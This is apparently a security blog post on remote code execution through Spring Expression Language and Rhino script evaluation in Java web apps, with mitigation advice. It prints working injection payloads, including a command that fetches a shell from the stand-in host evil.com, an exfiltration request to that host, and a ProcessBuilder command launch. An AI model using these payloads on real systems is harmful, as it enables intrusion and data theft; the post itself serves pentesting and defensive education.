Monday, November 17, 2014

Remote Code Execution .. by design

In rare situations, web applications are design to accept code as input. In most case, it is design to provide flexibility to the administrator of a system. The idea is to replace a complex interface by a Domain Specific Language. For a developper, it is a way to simply the application. For an attacker or a pentester, it could be the key element to gain access to the operating system.

Fictitious Applications

The attack vectors describe in this blog post are based on two scenarios I came across earlier this year. For each of those scenarios, I will present the engines used and some malicious samples to exploit those.

If you are looking for contextualize scenario, you can look at the follow article (Popping a shell on the Oculus Developer Portal). The attack described, in the previous article, take advantage of an expose eval function on the Oculus Developer Portal.

Spring Expression Language (SpEL)


The Spring Expression Language is the syntax used by spring for configuration and code place in annotations. It support a syntax that is close to Java code but with many limitations.

Usage Example


Spring exressions can be invoked as follow:

ExpressionParser parser = new SpelExpressionParser();

StandardEvaluationContext testContext = new StandardEvaluationContext(TEST_PERSON);
Expression exp = parser.parseExpression(dynamicValue); // name = 'Bob'
String valueExtracted = exp.getValue(testContext, String.class);

Malicious input script


The main limitation when injecting inside a SpEL expression is that the code must be a "oneliner". No assignment are possible. This force us to use a sequence of telescopic methods.

The following will blindly execute a command :
T(java.lang.Runtime).getRuntime().exec("wget http://evil.com/shell.jsp")

The result of the expression evaluation could be displayed back to the user. If it is the case, the output can be redirected and converted to a String using the Scanner class.
(new java.util.Scanner(
    (T(java.lang.Runtime).getRuntime().exec("uname -a").getInputStream()),"UTF-8"))
.useDelimiter("\\A").next()

To ex-filtrate data there is many options available. Here is one creating an HTTP request with data pass in a GET parameter.
new java.net.URL("http://evil.com/ex?data="+??).openConnection().getInputStream().readLine()

ScriptEngine / Rhino


The ScriptEngine api is available since the release of Java 6. It allow application to interact with script written in language such as JavaScript. The engine used to evaluate JavaScript is by default Rhino.

Usage Examples


The application code using the Rhino engine will look like this :

import org.mozilla.javascript.*;

Context cx = Context.enter();
[...]
cx.evaluateString(scope, dynamicCodeHere, "", 1, null);
Or this way using the generic ScriptEngince API..
import javax.script.ScriptEngine;

ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");

Object result = scriptEngine.eval(dynamiceCodeHere);

Malicious input script


If you manage to control some part or all of the script evaluate, you can interact with the variable place in the context but, you can also interact fully with the JVM (by default). Rhino has many syntax additions to allow to interact with the Java API. For exemple, the following script will execute the command "calc.exe" by creating a instance of ProcessBuilder and starting the process.

new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()

Sandboxing the Script Evaluation


Of course, not using those api can mitigate the risk instantly. If you are still convince that providing scripting interaction for your remote users is a good idea, you can use sandboxing mechanism to limit the attacks that were presented.

The SpEL evaluation can be configure to allow specific methods, constructors and fields access. It can be done by providing a MethodResolver, ConstructorResolver and PropertyAccessor to the evaluation context. See SpEL documentation for more details. As always, a white list should be build not a black list.

In the case of Rhino, the context can take a ClassShutter that allow or disallow the access to certain classes. If you need to disallow all access to the native API, you can reused the rhino-sandbox project created by cloudbees.

References


Remote Code with Expression Language Injection : Other examples of malicious script for SpEL Spring Expression Language (SpEL) : Reference to the language itself
Expression Language Injection  by Stefano Di Paola and Arshan Dabirsiaghi : The paper doesn't cover command execution or file system access.
Sandboxing Rhino in Java : Code sample of a proper sandboxing.
Rhino Documentation : Rhino documentation for reference on writing scripts
rhino-sandbox : Github project to disallow all access to native api.

1 comment: